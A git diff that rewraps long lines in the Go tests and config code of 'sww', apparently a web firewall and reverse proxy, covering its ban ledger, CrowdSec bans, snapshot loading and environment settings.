netblock.Addr(), + midnight().Add(100*365*day), + ) if !banned || madePermanent { - t.Errorf("a later request is banned %t, and made the ban permanent %t, "+ - "want banned by the permanent ban", banned, madePermanent) + t.Errorf( + "a later request is banned %t, and made the ban permanent %t, "+ + "want banned by the permanent ban", + banned, + madePermanent, + ) } } @@ -325,7 +435,11 @@ func TestAttackAfterAnAttackBanHasEndedBansPermanently(t *testing.T) { // Its notes show the earlier ban for an attack that makes it permanent, // beside the one for a limit. - third, _ := ledger.BanForAttack(netblock, second.Expires.Add(30*day), bans.Notes{}) + third, _ := ledger.BanForAttack( + netblock, + second.Expires.Add(30*day), + bans.Notes{}, + ) if !third.Permanent() || third.Notes.EarlierBans != (bans.EarlierBans{Limit: 1, Attack: 1}) { t.Errorf("the next ban for an attack is %+v, want a permanent one, "+ @@ -342,10 +456,18 @@ func TestWouldBanGivesTheBanWithoutMakingIt(t *testing.T) { wantChanged(t, ledger, true) // While the first ban lasts, none would be made. - during, would := ledger.WouldBanForAttack(netblock, midnight(), bans.Notes{}) + during, would := ledger.WouldBanForAttack( + netblock, + midnight(), + bans.Notes{}, + ) if would || !reflect.DeepEqual(during, first) { - t.Errorf("during the first ban, would ban %t with %+v, want false with %+v", - would, during, first) + t.Errorf( + "during the first ban, would ban %t with %+v, want false with %+v", + would, + during, + first, + ) } // As it ends, a clear sign of attack would ban for seven days, and a @@ -353,19 +475,31 @@ func TestWouldBanGivesTheBanWithoutMakingIt(t *testing.T) { limitNotes := bans.Notes{Kind: "requests", Limit: 1, Window: "minute"} attack, wouldAttack := ledger.WouldBanForAttack(netblock, first.Expires, bans.Notes{RuleID: "git-dir"}) - limit, wouldLimit := ledger.WouldBanForLimit(netblock, first.Expires, limitNotes) + limit, wouldLimit := ledger.WouldBanForLimit( + netblock, + first.Expires, + limitNotes, + ) if !wouldAttack || !attack.Expires.Equal(first.Expires.Add(7*day)) || attack.Reason != "matched the rule git-dir" || !wouldLimit || !limit.Expires.Equal(first.Expires.Add(3*time.Hour)) || limit.Reason != "requests per minute over the limit of 1" { - t.Errorf("would ban with %+v and %+v, want seven days for the attack and "+ - "three hours for the limit", attack, limit) + t.Errorf( + "would ban with %+v and %+v, want seven days for the attack and "+ + "three hours for the limit", + attack, + limit, + ) } - if len(ledger.Bans(netblock)) != 1 || ledger.Made(bans.CauseLimit) != 1 || + if len(ledger.Bans(netblock)) != 1 || + ledger.Made(bans.CauseLimit) != 1 || ledger.Made(bans.CauseAttack) != 0 { - t.Errorf("the ledger holds %+v, want the first ban alone", ledger.Bans(netblock)) + t.Errorf( + "the ledger holds %+v, want the first ban alone", + ledger.Bans(netblock), + ) } wantChanged(t, ledger, false) @@ -422,7 +556,8 @@ func TestAttackBanDoesNotLengthenTheNextBanForALimit(t *testing.T) { attack, _ := ledger.BanForAttack(netblock, midnight(), bans.Notes{}) limit, _ := ledger.BanForLimit(netblock, attack.Expires, bans.Notes{}) - if limit.Expires.Sub(limit.Start) != time.Hour || limit.Cause != bans.CauseLimit { + if limit.Expires.Sub(limit.Start) != time.Hour || + limit.Cause != bans.CauseLimit { t.Errorf("the ban for a limit is %+v, want one of an hour", limit) } @@ -443,15 +578,23 @@ func TestRequestTextsAreCutTo256Bytes(t *testing.T) { Time: midnight(), Method: long, Host: long, Path: long, Status: 403, UserAgent: long, } - ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Request: request}) + ban, _ := ledger.BanForLimit( + netblock, + midnight(), + bans.Notes{Request: request}, + ) cut := long[:256] want := bans.Request{ Time: midnight(), Method: cut, Host: cut, Path: cut, Status: 403, UserAgent: cut, } - if ban.Notes.Request != want || ledger.Bans(netblock)[0].Notes.Request != want { - t.Errorf("the notes keep %+v, want each text cut to 256 bytes", ban.Notes.Request) + if ban.Notes.Request != want || + ledger.Bans(netblock)[0].Notes.Request != want { + t.Errorf( + "the notes keep %+v, want each text cut to 256 bytes", + ban.Notes.Request, + ) } } @@ -482,13 +625,23 @@ func TestLookupFillsTheNotesOfTheNetblocksBansWithoutOne(t *testing.T) { {ASN: "AS64496", ASName: "Example Net", Country: "DE"}, } { got := held[i].Notes - if got.ASN != want.ASN || got.ASName != want.ASName || got.Country != want.Country { - t.Errorf("ban %d's notes give %q, %q and %q, want %q, %q and %q", i+1, - got.ASN, got.ASName, got.Country, want.ASN, want.ASName, want.Country) + if got.ASN != want.ASN || got.ASName != want.ASName || + got.Country != want.Country { + t.Errorf( + "ban %d's notes give %q, %q and %q, want %q, %q and %q", + i+1, + got.ASN, + got.ASName, + got.Country, + want.ASN, + want.ASName, + want.Country, + ) } } - if notes := ledger.Bans(other)[0].Notes; notes.ASN != "" || notes.Country != "" { + if notes := ledger.Bans(other)[0].Notes; notes.ASN != "" || + notes.Country != "" { t.Errorf("the ban on %s has %q and %q, want neither", other, notes.ASN, notes.Country) } diff --git a/internal/bans/crowdsec_test.go b/internal/bans/crowdsec_test.go index a026627..e936308 100644 --- a/internal/bans/crowdsec_test.go +++ b/internal/bans/crowdsec_test.go @@ -20,29 +20,55 @@ func TestCrowdSecBanLastsUntilTheDecisionEnds(t *testing.T) { expires := midnight().Add(4 * time.Hour) // The ban that would be made is not made. - would, wouldBan := ledger.WouldBanForCrowdSec(netblock, midnight(), expires, - scenario, bans.Notes{}) + would, wouldBan := ledger.WouldBanForCrowdSec( + netblock, + midnight(), + expires, + scenario, + bans.Notes{}, + ) if !wouldBan || len(ledger.Bans(netblock)) != 0 { - t.Errorf("would ban %t, and the ledger holds %+v, want true and nothing", - wouldBan, ledger.Bans(netblock)) + t.Errorf( + "would ban %t, and the ledger holds %+v, want true and nothing", + wouldBan, + ledger.Bans(netblock), + ) } const reason = "CrowdSec's decision for " + scenario - ban, made := ledger.BanForCrowdSec(netblock, midnight(), expires, scenario, - bans.Notes{}) - if !made || !reflect.DeepEqual(ban, would) || ban.Cause != bans.CauseCrowdSec || - !ban.Expires.Equal(expires) || ban.Reason != reason || + ban, made := ledger.BanForCrowdSec( + netblock, + midnight(), + expires, + scenario, + bans.Notes{}, + ) + if !made || !reflect.DeepEqual(ban, would) || + ban.Cause != bans.CauseCrowdSec || + !ban.Expires.Equal(expires) || + ban.Reason != reason || ledger.Made(bans.CauseCrowdSec) != 1 { - t.Errorf("made %t the ban %+v, want the one that would be made, %+v, for "+ - "crowdsec until %s", made, ban, would, expires) + t.Errorf( + "made %t the ban %+v, want the one that would be made, %+v, for "+ + "crowdsec until %s", + made, + ban, + would, + expires, + ) } // A second decision on the netblock while the ban lasts makes no other. again, made := ledger.BanForCrowdSec(netblock, midnight().Add(time.Hour), expires.Add(time.Hour), scenario, bans.Notes{}) - if made || !again.Expires.Equal(expires) || ledger.Made(bans.CauseCrowdSec) != 1 { - t.Errorf("made %t the ban %+v while the first lasts, want none", made, again) + if made || !again.Expires.Equal(expires) || + ledger.Made(bans.CauseCrowdSec) != 1 { + t.Errorf( + "made %t the ban %+v while the first lasts, want none", + made, + again, + ) } } @@ -52,7 +78,13 @@ func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) { ledger := bans.New(defaultParams()) netblock := netip.MustParsePrefix("203.0.113.9/32") expires := midnight().Add(4 * time.Hour) - ledger.BanForCrowdSec(netblock, midnight(), expires, scenario, bans.Notes{}) + ledger.BanForCrowdSec( + netblock, + midnight(), + expires, + scenario, + bans.Notes{}, + ) // A request as the ban ends is refused, and leaves it as it is. last := expires.Add(-time.Nanosecond) @@ -60,8 +92,13 @@ func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) { held, banned, madePermanent := ledger.Check(netblock.Addr(), last) if !banned || madePermanent || !held.Expires.Equal(expires) || ledger.WouldBePermanent(netblock, last, bans.CauseCrowdSec) { - t.Errorf("as the ban ends, banned %t with %+v, made permanent %t, want "+ - "refused under the ban as it was", banned, held, madePermanent) + t.Errorf( + "as the ban ends, banned %t with %+v, made permanent %t, want "+ + "refused under the ban as it was", + banned, + held, + madePermanent, + ) } if _, banned, _ := ledger.Check(netblock.Addr(), expires); banned { @@ -69,7 +106,9 @@ func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) { } } -func TestCrowdSecBanIsCountedAndDoesNotLengthenTheNextBanForALimit(t *testing.T) { +func TestCrowdSecBanIsCountedAndDoesNotLengthenTheNextBanForALimit( + t *testing.T, +) { t.Parallel() ledger := bans.New(defaultParams()) @@ -78,13 +117,20 @@ func TestCrowdSecBanIsCountedAndDoesNotLengthenTheNextBanForALimit(t *testing.T) // Three times the three days would be permanent; a limit broken as the // ban for CrowdSec's decision ends bans for an hour, as a first broken // limit does. - crowdSec, _ := ledger.BanForCrowdSec(netblock, midnight(), midnight().Add(3*day), - scenario, bans.Notes{}) + crowdSec, _ := ledger.BanForCrowdSec( + netblock, + midnight(), + midnight().Add(3*day), + scenario, + bans.Notes{}, + ) limit, _ := ledger.BanForLimit(netblock, crowdSec.Expires, bans.Notes{}) if limit.Expires.Sub(limit.Start) != time.Hour || limit.Notes.EarlierBans != (bans.EarlierBans{CrowdSec: 1}) { - t.Errorf("the ban for a limit is %+v, want one of an hour after one for crowdsec", - limit) + t.Errorf( + "the ban for a limit is %+v, want one of an hour after one for crowdsec", + limit, + ) } } diff --git a/internal/bans/snapshot_test.go b/internal/bans/snapshot_test.go index f775821..9a21e7a 100644 --- a/internal/bans/snapshot_test.go +++ b/internal/bans/snapshot_test.go @@ -29,8 +29,16 @@ func TestChangedAfterABanIsMade(t *testing.T) { wantChanged(t, ledger, false) // Two bans before the value is read leave one. - ledger.BanForLimit(netip.MustParsePrefix("203.0.113.10/32"), midnight(), bans.Notes{}) - ledger.BanForLimit(netip.MustParsePrefix("203.0.113.11/32"), midnight(), bans.Notes{}) + ledger.BanForLimit( + netip.MustParsePrefix("203.0.113.10/32"), + midnight(), + bans.Notes{}, + ) + ledger.BanForLimit( + netip.MustParsePrefix("203.0.113.11/32"), + midnight(), + bans.Notes{}, + ) wantChanged(t, ledger, true) wantChanged(t, ledger, false) } @@ -52,7 +60,10 @@ func TestSnapshotListsEveryBanByNetblock(t *testing.T) { got := make([]string, 0, len(snapshot)) for _, ban := range snapshot { - got = append(got, ban.Netblock.String()+" "+ban.Start.Format(time.Kitchen)) + got = append( + got, + ban.Netblock.String()+" "+ban.Start.Format(time.Kitchen), + ) } want := []string{ @@ -77,7 +88,10 @@ func TestLoadedBansCarryOn(t *testing.T) { after := bans.New(defaultParams()) after.Load(before.Snapshot()) - _, banned, _ := after.Check(netblock.Addr(), ban.Expires.Add(-time.Second)) + _, banned, _ := after.Check( + netblock.Addr(), + ban.Expires.Add(-time.Second), + ) if !banned { t.Error("the loaded ban does not refuse") } @@ -85,8 +99,11 @@ func TestLoadedBansCarryOn(t *testing.T) { again, _ := after.BanForLimit(netblock, ban.Expires, bans.Notes{}) if again.Expires.Sub(again.Start) != 3*time.Hour || again.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) { - t.Errorf("the next ban lasts %s with earlier bans %+v, want 3h and 1 for a limit", - again.Expires.Sub(again.Start), again.Notes.EarlierBans) + t.Errorf( + "the next ban lasts %s with earlier bans %+v, want 3h and 1 for a limit", + again.Expires.Sub(again.Start), + again.Notes.EarlierBans, + ) } } @@ -98,10 +115,20 @@ func TestLoadedBanRefusesEveryClientInItsNetblock(t *testing.T) { // ban covers, beside a ban the ledger makes on one IPv4 address. ledger := bans.New(defaultParams()) ledger.Load([]bans.Ban{ - {Netblock: netip.MustParsePrefix("203.0.113.9/24"), Start: midnight()}, - {Netblock: netip.MustParsePrefix("2001:db8::1/48"), Start: midnight()}, + { + Netblock: netip.MustParsePrefix("203.0.113.9/24"), + Start: midnight(), + }, + { + Netblock: netip.MustParsePrefix("2001:db8::1/48"), + Start: midnight(), + }, }) - ledger.BanForLimit(netip.MustParsePrefix("198.51.100.7/32"), midnight(), bans.Notes{}) + ledger.BanForLimit( + netip.MustParsePrefix("198.51.100.7/32"), + midnight(), + bans.Notes{}, + ) for client, want := range map[string]bool{ "203.0.113.0": true, @@ -138,7 +165,10 @@ func TestPermanentBanStartedBeforeAnEndedOneRefuses(t *testing.T) { // As when an admin adds a permanent ban to bans.json with a start // before that of the netblock's ban that has ended. netblock := netip.MustParsePrefix("203.0.113.0/24") - permanent := bans.Ban{Netblock: netblock, Start: midnight().Add(-time.Hour)} + permanent := bans.Ban{ + Netblock: netblock, + Start: midnight().Add(-time.Hour), + } ended := bans.Ban{ Netblock: netblock, Start: midnight(), @@ -153,20 +183,31 @@ func TestPermanentBanStartedBeforeAnEndedOneRefuses(t *testing.T) { ban, banned, _ := ledger.Find(client, now) if !banned || !ban.Permanent() { - t.Errorf("find gives %+v and %t, want the permanent ban", ban, banned) + t.Errorf( + "find gives %+v and %t, want the permanent ban", + ban, + banned, + ) } ban, banned, _ = ledger.Check(client, now) if !banned || !ban.Permanent() { - t.Errorf("the client is refused: %t, under %+v, want under the permanent ban", - banned, ban) + t.Errorf( + "the client is refused: %t, under %+v, want under the permanent ban", + banned, + ban, + ) } // A limit broken now makes no shorter ban over the permanent one. ban, _ = ledger.BanForLimit(netblock, now, bans.Notes{}) if !ban.Permanent() || len(ledger.Bans(netblock)) != 2 { - t.Errorf("a broken limit returned %+v and left the netblock %d bans, "+ - "want the permanent ban and 2", ban, len(ledger.Bans(netblock))) + t.Errorf( + "a broken limit returned %+v and left the netblock %d bans, "+ + "want the permanent ban and 2", + ban, + len(ledger.Bans(netblock)), + ) } } @@ -195,7 +236,11 @@ func TestNextBanWorkedOutFromTheBanThatEndedLast(t *testing.T) { // Once both have ended, a limit broken within the repeat window bans // for three times the 9 hours, and the notes count the two bans // before the 9-hour one and it, for a limit, and the admin's. - ban, _ := ledger.BanForLimit(netblock, nineHours.Expires.Add(time.Hour), bans.Notes{}) + ban, _ := ledger.BanForLimit( + netblock, + nineHours.Expires.Add(time.Hour), + bans.Notes{}, + ) if ban.Expires.Sub(ban.Start) != 27*time.Hour || ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 3, Admin: 1}) { t.Errorf("the next ban lasts %s with earlier bans %+v, "+ @@ -226,7 +271,10 @@ func TestLoadKeepsAtMostMaxBansDroppingTheEarliest(t *testing.T) { held := ledger.Snapshot() if len(held) != 1 || !reflect.DeepEqual(held[0], later) { - t.Errorf("the ledger holds %+v, want only the ban that began later", held) + t.Errorf( + "the ledger holds %+v, want only the ban that began later", + held, + ) } } @@ -256,16 +304,25 @@ func TestLoadReplacesTheBansHeld(t *testing.T) { // bans.json is taken in, that ban is lifted. ledger.Load([]bans.Ban{kept}) - _, banned, _ := ledger.Check(netip.MustParseAddr("203.0.113.9"), midnight()) + _, banned, _ := ledger.Check( + netip.MustParseAddr("203.0.113.9"), + midnight(), + ) if banned { t.Error("a ban left out of the second load still refuses") } // The ledger holds one ban, so it makes two more without dropping any. - first, _ := ledger.BanForLimit(netip.MustParsePrefix("198.51.100.7/32"), midnight(), - bans.Notes{}) - second, _ := ledger.BanForLimit(netip.MustParsePrefix("198.51.100.8/32"), midnight(), - bans.Notes{}) + first, _ := ledger.BanForLimit( + netip.MustParsePrefix("198.51.100.7/32"), + midnight(), + bans.Notes{}, + ) + second, _ := ledger.BanForLimit( + netip.MustParsePrefix("198.51.100.8/32"), + midnight(), + bans.Notes{}, + ) want := []bans.Ban{first, second, kept} if got := ledger.Snapshot(); !reflect.DeepEqual(got, want) { diff --git a/internal/config/config.go b/internal/config/config.go index be04461..eac86cb 100644 --- a/internal/config/config.go +++ b/internal/config/config.go @@ -374,13 +374,16 @@ var ( "is not a header name such as accept-language") errHeaderTakenOut = errors.New( "is taken out of every request by Go's HTTP server, so it can never " + - "be logged") + "be logged", + ) errOnBothLists = errors.New("is in SWW_TAG_DENY too") errNotLookupSource = errors.New("is not geojs, file or off") errNeedsLookups = errors.New("it needs each client looked up") - errNeedsDBPath = errors.New("it names the file to look clients up in") - errDBPathUnused = errors.New("only file reads it") - errOver64K = errors.New( + errNeedsDBPath = errors.New( + "it names the file to look clients up in", + ) + errDBPathUnused = errors.New("only file reads it") + errOver64K = errors.New( "is more than 64K, the most waf gets of a body") errNotCommand = errors.New("is not rproxy or waf") errNotDurationAboveZero = errors.New( @@ -414,16 +417,20 @@ var ( ) errSetupRuleID = errors.New( "is from 900000 to 900999, the ids of the rules that set the Core Rule Set " + - "up and of sww's own, which cannot be switched off") + "up and of sww's own, which cannot be switched off", + ) errNotBoolean = errors.New("is not true or false") errNotLogRemoteURL = errors.New( "is not syslog+udp, syslog+tcp or syslog+tls with a host and a port, " + "and nothing more, such as syslog+tls://logs.example:6514", ) errNoCertificate = errors.New("holds no PEM certificate") - errNotFacility = errors.New("is not a syslog facility such as local0 or daemon") - errNotAppName = errors.New( - "is not 1 to 48 printable ASCII characters without a space, such as blog") + errNotFacility = errors.New( + "is not a syslog facility such as local0 or daemon", + ) + errNotAppName = errors.New( + "is not 1 to 48 printable ASCII characters without a space, such as blog", + ) errSetTwice = errors.New("set only one of them") errNotWebhookURL = errors.New( "is not an http or https URL without a user or a fragment, " + @@ -436,7 +443,8 @@ var ( ) errNotAlertEvent = errors.New( "is not ban, permanent_ban, core_rule_set_match, anomaly, reputation_hit, " + - "source_failure or file_error") + "source_failure or file_error", + ) errNotNumberOrOff = errors.New( "is not a whole number above zero, such as 60, or off", ) @@ -452,8 +460,10 @@ var ( "is not an http or https URL without a user or a fragment, " + "such as https://www.spamhaus.org/drop/drop.txt") errInBlocklistURLs = errors.New("is in SWW_BLOCKLIST_URLS too") - errNotAnHourOrMore = errors.New("is not a duration of 1h or more, such as 24h") - errNotAction = errors.New( + errNotAnHourOrMore = errors.New( + "is not a duration of 1h or more, such as 24h", + ) + errNotAction = errors.New( "is not deny, limit: such as limit:25, or log") errNotZone = errors.New( "is not a DNS zone such as dnsbl.dronebl.org", @@ -473,8 +483,10 @@ var ( "is not an http or https URL without a user or a fragment, " + "such as https://routewatch.example") errNeedsLAPIKey = errors.New("the engine answers no request without it") - errLAPIKeyUnused = errors.New("it is sent only to the engine at that URL") - errAnotherList = errors.New( + errLAPIKeyUnused = errors.New( + "it is sent only to the engine at that URL", + ) + errAnotherList = errors.New( "is in SWW_BLOCKLIST_URLS or is SWW_ASN_LIMIT_PERCENT_URL too") errFetchedOtherwise = errors.New("is in SWW_BLOCKLIST_URLS, is " + "SWW_ASN_LIMIT_PERCENT_URL or is the CrowdSec decision list too") @@ -484,8 +496,10 @@ var ( errNotTagPercentItem = errors.New( "is not a tag, : and a percentage, such as vpn:50 or asn=14061:25") errNotTagPercent = errors.New("is not a percentage from 1 to 99") - errNotASNTag = errors.New("is not asn= and a number, such as asn=14061") - errNotPrefixTag = errors.New( + errNotASNTag = errors.New( + "is not asn= and a number, such as asn=14061", + ) + errNotPrefixTag = errors.New( "is not prefix= and a netblock, such as prefix=192.0.2.0/24") errExploitTag = errors.New( "cannot lower limits: the rate limits count a request before its " + @@ -497,7 +511,8 @@ var ( "asn= or country= tag, a dnsbl= tag of a zone in SWW_DNSBL_ZONES, " + "a prefix= tag with SWW_ROUTEWATCH_URL set, abuseipdb with " + "SWW_ABUSEIPDB_KEY set, or exploitsignature with rule files or the " + - "Core Rule Set on") + "Core Rule Set on", + ) ) // FromEnvironment reads the settings with lookupEnv, normally @@ -512,83 +527,158 @@ func FromEnvironment( ) (*Config, error) { env := &environment{lookupEnv: lookupEnv} cfg := &Config{ - ListenAddr: env.address("SWW_LISTEN_ADDR"), - InstanceName: env.instanceName(), - Observe: env.observe("SWW_MODE", "enforce"), - IPv6GroupPrefix: env.ipv6GroupPrefix("SWW_IPV6_GROUP_PREFIX", "64"), - MaxTrackedClients: env.numberNotOff("SWW_MAX_TRACKED_CLIENTS", "20000"), - AllowNets: env.netblocks("SWW_ALLOW_NETS", ""), - RateLimitExemptNets: env.netblocks("SWW_RATE_LIMIT_EXEMPT_NETS", ""), - DenyNets: env.netblocks("SWW_DENY_NETS", ""), - RateLimitPerMinute: env.count("SWW_RATE_LIMIT_PER_MINUTE", "120"), - RateLimitPerHour: env.count("SWW_RATE_LIMIT_PER_HOUR", "1500"), - RateLimitPerDay: env.count("SWW_RATE_LIMIT_PER_DAY", "6000"), - RateLimitExemptPaths: env.pathPrefixes("SWW_RATE_LIMIT_EXEMPT_PATHS", ""), - BytesLimitPerMinute: env.size("SWW_BYTES_LIMIT_PER_MINUTE", "off"), - BytesLimitPerHour: env.size("SWW_BYTES_LIMIT_PER_HOUR", "50G"), - BytesLimitPerDay: env.size("SWW_BYTES_LIMIT_PER_DAY", "100G"), - BytesCount: env.bytesCount("SWW_BYTES_COUNT", "both"), - LookupSource: env.lookupSource("SWW_LOOKUP_SOURCE", "geojs"), - LookupDBPath: env.value("SWW_LOOKUP_DB_PATH", ""), - LookupTimeout: env.durationNotOff("SWW_LOOKUP_TIMEOUT", "800ms"), - AddLookupHeaders: env.boolean("SWW_ADD_LOOKUP_HEADERS", "false"), + ListenAddr: env.address("SWW_LISTEN_ADDR"), + InstanceName: env.instanceName(), + Observe: env.observe("SWW_MODE", "enforce"), + IPv6GroupPrefix: env.ipv6GroupPrefix( + "SWW_IPV6_GROUP_PREFIX", + "64", + ), + MaxTrackedClients: env.numberNotOff( + "SWW_MAX_TRACKED_CLIENTS", + "20000", + ), + AllowNets: env.netblocks("SWW_ALLOW_NETS", ""), + RateLimitExemptNets: env.netblocks( + "SWW_RATE_LIMIT_EXEMPT_NETS", + "", + ), + DenyNets: env.netblocks("SWW_DENY_NETS", ""), + RateLimitPerMinute: env.count("SWW_RATE_LIMIT_PER_MINUTE", "120"), + RateLimitPerHour: env.count("SWW_RATE_LIMIT_PER_HOUR", "1500"), + RateLimitPerDay: env.count("SWW_RATE_LIMIT_PER_DAY", "6000"), + RateLimitExemptPaths: env.pathPrefixes( + "SWW_RATE_LIMIT_EXEMPT_PATHS", + "", + ), + BytesLimitPerMinute: env.size("SWW_BYTES_LIMIT_PER_MINUTE", "off"), + BytesLimitPerHour: env.size("SWW_BYTES_LIMIT_PER_HOUR", "50G"), + BytesLimitPerDay: env.size("SWW_BYTES_LIMIT_PER_DAY", "100G"), + BytesCount: env.bytesCount("SWW_BYTES_COUNT", "both"), + LookupSource: env.lookupSource("SWW_LOOKUP_SOURCE", "geojs"), + LookupDBPath: env.value("SWW_LOOKUP_DB_PATH", ""), + LookupTimeout: env.durationNotOff( + "SWW_LOOKUP_TIMEOUT", + "800ms", + ), + AddLookupHeaders: env.boolean("SWW_ADD_LOOKUP_HEADERS", "false"), ExclusivelyAllowedCountries: env.countries( "SWW_EXCLUSIVELY_ALLOWED_COUNTRIES", ""), - TagLists: env.tagLists("SWW_TAG_LISTS"), - TagDeny: env.tags("SWW_TAG_DENY"), - TagLimitPercent: env.tagPercents("SWW_TAG_LIMIT_PERCENT"), - RouteWatchURL: env.routeWatchURL("SWW_ROUTEWATCH_URL"), - ASNBytesPercent: env.percents("SWW_ASN_BYTES_PERCENT", ParseASN), - CountryBytesPercent: env.percents("SWW_COUNTRY_BYTES_PERCENT", parseCountry), - UnknownLimitPercent: env.percent("SWW_UNKNOWN_LIMIT_PERCENT", "100"), - ASNLimitPercentURL: env.listURL("SWW_ASN_LIMIT_PERCENT_URL"), - BlocklistURLs: env.listURLs("SWW_BLOCKLIST_URLS"), - BlocklistRefresh: env.refresh("SWW_BLOCKLIST_REFRESH", "24h"), - DNSBLZones: env.zones("SWW_DNSBL_ZONES"), - DNSBLResolver: env.resolver("SWW_DNSBL_RESOLVER"), - AbuseIPDBKey: env.secret("SWW_ABUSEIPDB_KEY"), - AbuseIPDBMinScore: env.percent("SWW_ABUSEIPDB_MIN_SCORE", "75"), - AbuseIPDBDailyBudget: env.numberNotOff("SWW_ABUSEIPDB_DAILY_BUDGET", "900"), - ReputationCacheTTL: env.durationNotOff("SWW_REPUTATION_CACHE_TTL", "24h"), - ReputationTimeout: env.durationNotOff("SWW_REPUTATION_TIMEOUT", "2s"), - CrowdSecDecisionsURL: env.crowdSecDecisionsURL("SWW_CROWDSEC_LAPI_URL"), - CrowdSecKey: env.secret("SWW_CROWDSEC_LAPI_KEY"), - BanResponse: env.banResponse("SWW_BAN_RESPONSE", "403"), - LimitBanDuration: env.durationNotOff("SWW_LIMIT_BAN_DURATION", "1h"), - LimitBanRepeatWindow: env.durationNotOff("SWW_LIMIT_BAN_REPEAT_WINDOW", "24h"), - MaxBanDuration: env.durationNotOff("SWW_MAX_BAN_DURATION", "7d"), - AttackBanDuration: env.durationNotOff("SWW_ATTACK_BAN_DURATION", "7d"), - MaxBans: env.numberNotOff("SWW_MAX_BANS", "5000"), - BanScopeV4Prefix: env.v4Prefix("SWW_BAN_SCOPE_V4_PREFIX", "32"), - StateDir: env.absolutePath("SWW_STATE_DIR", "/var/lib/sww"), - StateWriteDelay: env.durationNotOff("SWW_STATE_WRITE_DELAY", "10s"), - StateCounterInterval: env.durationNotOff("SWW_STATE_COUNTER_INTERVAL", "15m"), - CacheDir: env.absolutePath("SWW_CACHE_DIR", "/var/cache/sww"), - LogRequestHeaders: env.headerNames("SWW_LOG_REQUEST_HEADERS", - "accept,accept-language,accept-encoding,content-type,origin,range"), - LogLevel: env.logLevel("SWW_LOG_LEVEL", "info"), - AdminToken: env.token("SWW_ADMIN_TOKEN"), - MetricsToken: env.token("SWW_METRICS_TOKEN"), - MetricsTopN: env.numberNotOff("SWW_METRICS_TOP_N", "50"), - RulesDir: env.value("SWW_RULES_DIR", "/etc/sww/rules.d"), - RulesEnabled: env.boolean("SWW_RULES_ENABLED", "true"), - WAFMode: env.wafMode("SWW_WAF_MODE", WAFModeBlock), - WAFParanoiaLevel: env.paranoiaLevel("SWW_WAF_PARANOIA_LEVEL", "1"), - WAFAnomalyThreshold: env.numberOrOff("SWW_WAF_ANOMALY_THRESHOLD", "5"), + TagLists: env.tagLists("SWW_TAG_LISTS"), + TagDeny: env.tags("SWW_TAG_DENY"), + TagLimitPercent: env.tagPercents("SWW_TAG_LIMIT_PERCENT"), + RouteWatchURL: env.routeWatchURL("SWW_ROUTEWATCH_URL"), + ASNBytesPercent: env.percents( + "SWW_ASN_BYTES_PERCENT", + ParseASN, + ), + CountryBytesPercent: env.percents( + "SWW_COUNTRY_BYTES_PERCENT", + parseCountry, + ), + UnknownLimitPercent: env.percent( + "SWW_UNKNOWN_LIMIT_PERCENT", + "100", + ), + ASNLimitPercentURL: env.listURL("SWW_ASN_LIMIT_PERCENT_URL"), + BlocklistURLs: env.listURLs("SWW_BLOCKLIST_URLS"), + BlocklistRefresh: env.refresh("SWW_BLOCKLIST_REFRESH", "24h"), + DNSBLZones: env.zones("SWW_DNSBL_ZONES"), + DNSBLResolver: env.resolver("SWW_DNSBL_RESOLVER"), + AbuseIPDBKey: env.secret("SWW_ABUSEIPDB_KEY"), + AbuseIPDBMinScore: env.percent("SWW_ABUSEIPDB_MIN_SCORE", "75"), + AbuseIPDBDailyBudget: env.numberNotOff( + "SWW_ABUSEIPDB_DAILY_BUDGET", + "900", + ), + ReputationCacheTTL: env.durationNotOff( + "SWW_REPUTATION_CACHE_TTL", + "24h", + ), + ReputationTimeout: env.durationNotOff( + "SWW_REPUTATION_TIMEOUT", + "2s", + ), + CrowdSecDecisionsURL: env.crowdSecDecisionsURL( + "SWW_CROWDSEC_LAPI_URL", + ), + CrowdSecKey: env.secret("SWW_CROWDSEC_LAPI_KEY"), + BanResponse: env.banResponse("SWW_BAN_RESPONSE", "403"), + LimitBanDuration: env.durationNotOff( + "SWW_LIMIT_BAN_DURATION", + "1h", + ), + LimitBanRepeatWindow: env.durationNotOff( + "SWW_LIMIT_BAN_REPEAT_WINDOW", + "24h", + ), + MaxBanDuration: env.durationNotOff( + "SWW_MAX_BAN_DURATION", + "7d", + ), + AttackBanDuration: env.durationNotOff( + "SWW_ATTACK_BAN_DURATION", + "7d", + ), + MaxBans: env.numberNotOff("SWW_MAX_BANS", "5000"), + BanScopeV4Prefix: env.v4Prefix("SWW_BAN_SCOPE_V4_PREFIX", "32"), + StateDir: env.absolutePath( + "SWW_STATE_DIR", + "/var/lib/sww", + ), + StateWriteDelay: env.durationNotOff( + "SWW_STATE_WRITE_DELAY", + "10s", + ), + StateCounterInterval: env.durationNotOff( + "SWW_STATE_COUNTER_INTERVAL", + "15m", + ), + CacheDir: env.absolutePath( + "SWW_CACHE_DIR", + "/var/cache/sww", + ), + LogRequestHeaders: env.headerNames( + "SWW_LOG_REQUEST_HEADERS", + "accept,accept-language,accept-encoding,content-type,origin,range", + ), + LogLevel: env.logLevel("SWW_LOG_LEVEL", "info"), + AdminToken: env.token("SWW_ADMIN_TOKEN"), + MetricsToken: env.token("SWW_METRICS_TOKEN"), + MetricsTopN: env.numberNotOff("SWW_METRICS_TOP_N", "50"), + RulesDir: env.value("SWW_RULES_DIR", "/etc/sww/rules.d"), + RulesEnabled: env.boolean("SWW_RULES_ENABLED", "true"), + WAFMode: env.wafMode("SWW_WAF_MODE", WAFModeBlock), + WAFParanoiaLevel: env.paranoiaLevel( + "SWW_WAF_PARANOIA_LEVEL", + "1", + ), + WAFAnomalyThreshold: env.numberOrOff( + "SWW_WAF_ANOMALY_THRESHOLD", + "5", + ), WAFDisabledRules: env.ruleIDs("SWW_WAF_DISABLED_RULES", "920340,920420,920440,920640,930130,930140"), WAFExemptPaths: env.pathPrefixes("SWW_WAF_EXEMPT_PATHS", ""), WAFBodyLimit: env.wafBodyLimit("SWW_WAF_BODY_LIMIT", off), CoreRuleSetExclusionsFile: env.filePath( "SWW_CORE_RULE_SET_EXCLUSIONS_FILE"), - TrapPaths: env.trapPaths("SWW_TRAP_PATHS"), - ErrorBurstThreshold: env.count("SWW_ERROR_BURST_THRESHOLD", "30"), - LogRemoteURL: env.logRemoteURL("SWW_LOG_REMOTE_URL"), - LogRemoteTLSCAs: 